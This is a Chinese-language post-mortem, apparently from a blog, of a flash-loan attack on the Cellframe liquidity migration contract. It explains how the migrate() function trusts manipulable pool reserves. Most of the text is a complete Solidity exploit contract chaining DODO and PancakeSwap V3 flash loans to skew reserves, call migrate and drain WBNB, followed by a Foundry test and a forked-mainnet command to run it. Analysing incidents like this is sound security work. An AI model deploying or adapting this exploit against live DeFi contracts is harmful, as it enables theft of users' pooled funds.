Cellfram流动性迁移合约存在漏洞被闪电贷攻击。
攻击者地址:
0x2525c811ecf22fc5fcde03c67112d34e97da6079
攻击合约:
0x1e2a251b29e84e1d6d762c78a9db5113f5ce7c48
攻击tx:
0x943c2a5f89bc0c17f3fe1520ec6215ed8c6b897ce7f22f1b207fea3f79ae09a6
相关其它合约
迁移合约的工作原理是:将用户老的LP代币转到迁移合约地址,然后迁移合约调用removeLiquidity移除流动性。然后根据新池子中CELL和WBNB的比例,计算出需要的NEW CELL的数量。然后在新池子中添加流动性,新的LP代币会直接发送给用户。如果添加流动性需要的WBNB代币小于移除流动性获得的WBNB,那么将多余的WBNB退还给用户。
攻击者可以通过闪电贷操纵池子中两种代币的比例,使得旧池子中WBNB增加,OLD CELL减少,新池子中WBNB减少,NEW CELL增加。这样会导致旧LP撤销流动性的时候会获得更多的WBNB,添加新池子的时候只需要少量WBNB。
function migrate(uint amountLP) external {
(uint token0,uint token1) = migrateLP(amountLP);
(uint eth,uint cell, ) = IUniswapV2Router01(LP_NEW).getReserves();
uint resoult = cell/eth;
token1 = resoult * token0;
IERC20(CELL).approve(ROUTER_V2,token1);
IERC20(WETH).approve(ROUTER_V2,token0);
(uint tokenA, , ) = IUniswapV2Router01(ROUTER_V2).addLiquidity(
WETH,
CELL,
token0,
token1,
0,
0,
msg.sender,
block.timestamp + 5000
);
uint balanceOldToken = IERC20(OLD_CELL).balanceOf(address(this));
IERC20(OLD_CELL).transfer(marketingAddress,balanceOldToken);
if (tokenA < token0) {
uint256 refund0 = token0 - tokenA;
IERC20(WETH).transfer(msg.sender,refund0);
}
}
function migrateLP(uint amountLP) internal returns(uint256 token0,uint256 token1) {
IERC20(LP_OLD).transferFrom(msg.sender,address(this),amountLP);
IERC20(LP_OLD).approve(ROUTER_V2,amountLP);
return IUniswapV2Router01(ROUTER_V2).removeLiquidity(
WETH,
OLD_CELL,
amountLP,
0,
0,
address(this),
block.timestamp + 5000
);
}
1.攻击者从dodo借出WBNB。
2.从pancake V3中借出NEW CELL,并调用了攻击合约中的0xa1d48336方法。
3.通过调用0xa1d48336方法,在V2池子中将借来的NEW CELL全部换成了WBNB,然后将大量WBNB换成OLD CELL,这会导致新池子中WBNB减少,旧池子中OLD WBNB的比例升高。然后攻击者调用流动性迁移合约的migrate方法,移除旧池子流动性的时候,获得的WBNB会增多,然后添加新池子流动性的时候,只需要少量的WBNB。
4.然后将新池子中的lp代币移除流动性,获得WBNB和NEW CELL。
5.因为之前借了NEW CELL,因此将WBNB换成换成NEW CELL,OLD CELL已经没用了,将OLD CELL换成WBNB,并偿还V3 pool借来的NEW CELL。
6.分别在V3和V2池子中将NEW CELL卖出换成WBNB,最后归还dodo闪电贷出的WBNB。
POC
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
import "node_modules/@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "node_modules/@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import "node_modules/@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "node_modules/@uniswap/v3-core/contracts/interfaces/pool/IUniswapV3PoolActions.sol";
//import {ISwapRouter} from "node_modules/@uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol";
import "node_modules/@pancakeswap/v3-core/contracts/interfaces/callback/IPancakeV3SwapCallback.sol";
address constant V3Pool = 0xA2C1e0237bF4B58bC9808A579715dF57522F41b2;
address constant ROUTER_V3 = 0x13f4EA83D0bd40E75C8222255bc855a974568Dd4;
address constant ROUTER_V2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
address constant LpMigration = 0xB4E47c13dB187D54839cd1E08422Af57E5348fc1;
address constant OLD_CELL = 0xf3E1449DDB6b218dA2C9463D4594CEccC8934346; // addr old cell token
address constant LP_OLD = 0x06155034f71811fe0D6568eA8bdF6EC12d04Bed2; // addr old lp token
address constant NEW_CELL = 0xd98438889Ae7364c7E2A3540547Fad042FB24642;// addr new cell token
address constant LP_NEW = 0x1c15f4E3fd885a34660829aE692918b4b9C1803d;// addr new lp token v2
address constant DoDoPool = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;
address constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address constant BUSD = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;
uint constant borrowWBNBamount = 1000*1e18;
uint constant borrowNewCellAmount = 500000*1e18;
interface IV3SwapRouter is IPancakeV3SwapCallback {
struct ExactInputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 amountIn;
uint256 amountOutMinimum;
uint160 sqrtPriceLimitX96;
}
/// @notice Swaps `amountIn` of one token for as much as possible of another token
/// @dev Setting `amountIn` to 0 will cause the contract to look up its own balance,
/// and swap the entire amount, enabling contracts to send tokens before calling this function.
/// @param params The parameters necessary for the swap, encoded as `ExactInputSingleParams` in calldata
/// @return amountOut The amount of the received token
function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut);
struct ExactInputParams {
bytes path;
address recipient;
uint256 amountIn;
uint256 amountOutMinimum;
}
/// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path
/// @dev Setting `amountIn` to 0 will cause the contract to look up its own balance,
/// and swap the entire amount, enabling contracts to send tokens before calling this function.
/// @param params The parameters necessary for the multi-hop swap, encoded as `ExactInputParams` in calldata
/// @return amountOut The amount of the received token
function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut);
struct ExactOutputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 amountOut;
uint256 amountInMaximum;
uint160 sqrtPriceLimitX96;
}
/// @notice Swaps as little as possible of one token for `amountOut` of another token
/// that may remain in the router after the swap.
/// @param params The parameters necessary for the swap, encoded as `ExactOutputSingleParams` in calldata
/// @return amountIn The amount of the input token
function exactOutputSingle(ExactOutputSingleParams calldata params) external payable returns (uint256 amountIn);
struct ExactOutputParams {
bytes path;
address recipient;
uint256 amountOut;
uint256 amountInMaximum;
}
/// @notice Swaps as little as possible of one token for `amountOut` of another along the specified path (reversed)
/// that may remain in the router after the swap.
/// @param params The parameters necessary for the multi-hop swap, encoded as `ExactOutputParams` in calldata
/// @return amountIn The amount of the input token
function exactOutput(ExactOutputParams calldata params) external payable returns (uint256 amountIn);
}
interface ILpMigration{
function migrate(uint amountLP) external;
}
interface WETH{
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function withdraw(uint256 amount) external;
function deposit() external payable;
function transfer(address recipient, uint256 amount) external returns (bool);
}
/// @title Router token swapping functionality
/// @notice Functions for swapping tokens via PancakeSwap V3
interface IDODO {
function flashLoan(
uint256 baseAmount,
uint256 quoteAmount,
address assetTo,
bytes calldata data
) external;
function _BASE_TOKEN_() external view returns (address);
}
contract DODOFlashloan {
function dodoFlashLoan(
address flashLoanPool, //You will make a flashloan from this DODOV2 pool
uint256 loanAmount,
address loanToken
) public {
//Note: The data can be structured with any variables required by your logic. The following code is just an example
bytes memory data = abi.encode(flashLoanPool, loanToken, loanAmount);
address flashLoanBase = IDODO(flashLoanPool)._BASE_TOKEN_();
if(flashLoanBase == loanToken) {
IDODO(flashLoanPool).flashLoan(loanAmount, 0, address(this), data);
} else {
IDODO(flashLoanPool).flashLoan(0, loanAmount, address(this), data);
}
}
//Note: CallBack function executed by DODOV2(DVM) flashLoan pool
function DVMFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount,bytes calldata data) external {
_flashLoanCallBack(sender,baseAmount,quoteAmount,data);
}
//Note: CallBack function executed by DODOV2(DPP) flashLoan pool
function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
_flashLoanCallBack(sender,baseAmount,quoteAmount,data);
}
//Note: CallBack function executed by DODOV2(DSP) flashLoan pool
function DSPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
_flashLoanCallBack(sender,baseAmount,quoteAmount,data);
}
function v2swap(uint256 amount0,uint256 amount1,address[] memory path) public{
IUniswapV2Router02(ROUTER_V2).swapExactTokensForTokensSupportingFeeOnTransferTokens(amount0,amount1,path,address(this),block.timestamp);
}
function _flashLoanCallBack(address sender, uint256, uint256, bytes calldata data) internal {
(address flashLoanPool, address loanToken, uint256 loanAmount) = abi.decode(data, (address, address, uint256));
require(sender == address(this) && msg.sender == flashLoanPool, "HANDLE_FLASH_NENIED");
//Note: Realize your own logic using the token from flashLoan pool.
IUniswapV3PoolActions v3pool = IUniswapV3PoolActions(V3Pool);
v3pool.flash(address(this),0,borrowNewCellAmount,"");
//将new cell换成wbnb
IERC20(NEW_CELL).approve(ROUTER_V3,type(uint256).max);
IERC20(NEW_CELL).balanceOf(address(this));
IERC20(WBNB).balanceOf(address(this));
_swap(NEW_CELL,WBNB,500,IERC20(NEW_CELL).balanceOf(address(this)));
IERC20(loanToken).transfer(flashLoanPool, 1000*1e18);
}
function _swap(
address tokenIn,
address tokenOut,
uint24 fee,
uint amountIn
) private returns (uint amountOut) {
IV3SwapRouter.ExactInputSingleParams memory params = IV3SwapRouter
.ExactInputSingleParams({
tokenIn: tokenIn,
tokenOut: tokenOut,
fee: fee,
recipient: address(this),
amountIn: amountIn,
amountOutMinimum: 0,
sqrtPriceLimitX96: 0
});
amountOut = IV3SwapRouter(ROUTER_V3).exactInputSingle(params);
}
}
contract Attack is DODOFlashloan{
//添加流动性
function addLiqu() public payable{
WETH(WBNB).deposit{value:msg.value}();
IERC20(WBNB).approve(ROUTER_V2,type(uint256).max);
address[] memory path = new address[](2);
path[0] = WBNB;
path[1] = OLD_CELL;
v2swap(0.05*1e18, 0, path);
IERC20(OLD_CELL).approve(ROUTER_V2,type(uint256).max);
IUniswapV2Router02(ROUTER_V2).addLiquidity(OLD_CELL,WBNB,IERC20(OLD_CELL).balanceOf(address(this)),50000000000000000,0,0,address(this),block.timestamp);
}
receive() external payable {}
function test() view external returns(uint256){
return IERC20(LP_OLD).balanceOf(address(this));
}
function test2() view external returns(uint256){
return IERC20(WBNB).balanceOf(address(this));
}
function hack() external{
dodoFlashLoan(DoDoPool,borrowWBNBamount,WBNB);
}
function pancakeV3FlashCallback(
uint256 ,
uint256 ,
bytes calldata
) external {
IERC20(NEW_CELL).approve(ROUTER_V2,type(uint256).max);
address[] memory path = new address[](2);
path[0] = NEW_CELL;
path[1] = WBNB;
IERC20(NEW_CELL).balanceOf(address(this));
//将借来的new cell全部换成wbnb
v2swap(borrowNewCellAmount, 0, path);
address[] memory path2 = new address[](2);
path2[0] = WBNB;
path2[1] = OLD_CELL;
//将900个wbnb换成old cell
v2swap(900*1e18, 0, path2);
//迁移流动性
IERC20(LP_OLD).approve(LpMigration, type(uint256).max);
//ILpMigration(LpMigration).migrate(IERC20(LP_OLD).balanceOf(address(this)));
ILpMigration(LpMigration).migrate(1*1e18);
//销毁new lp,获得两种代币
IERC20(LP_NEW).transfer(LP_NEW,IERC20(LP_NEW).balanceOf(address(this)));
IUniswapV2Pair(LP_NEW).burn(address(this));
//将wbnb换成new cell
IERC20(WBNB).approve(ROUTER_V2,type(uint256).max);
address[] memory path3 = new address[](2);
path3[0] = WBNB;
path3[1] = NEW_CELL;
v2swap(IERC20(WBNB).balanceOf(address(this)), 0, path3);
//将old cell换成wbnb
IERC20(OLD_CELL).approve(ROUTER_V2,type(uint256).max);
address[] memory path4 = new address[](2);
path4[0] = OLD_CELL;
path4[1] = WBNB;
IUniswapV2Router02(ROUTER_V2).swapExactTokensForTokensSupportingFeeOnTransferTokens(IERC20(OLD_CELL).balanceOf(address(this)),0,path4,address(this),block.timestamp);
//偿还new cell借款
IERC20(NEW_CELL).transfer(V3Pool,500250000000000000000000);
}
}
测试脚本:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "lib/forge-std/src/Test.sol";
import "../src/attack.sol";
import "lib/forge-std/src/console2.sol";
contract AttackTest is Test {
Attack public attack;
function setUp() public {
attack = new Attack();
}
function testattack() public {
address attacker = vm.addr(1);
vm.prank(attacker);
vm.deal(attacker, 1 ether);
attack.addLiqu{value:0.1 ether}();
attack.hack();
console2.log(attack.test2());
}
}
运行测试脚本:
forge test --fork-url https://rpc.ankr.com/bsc --fork-block-number 28708273 -vvv
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!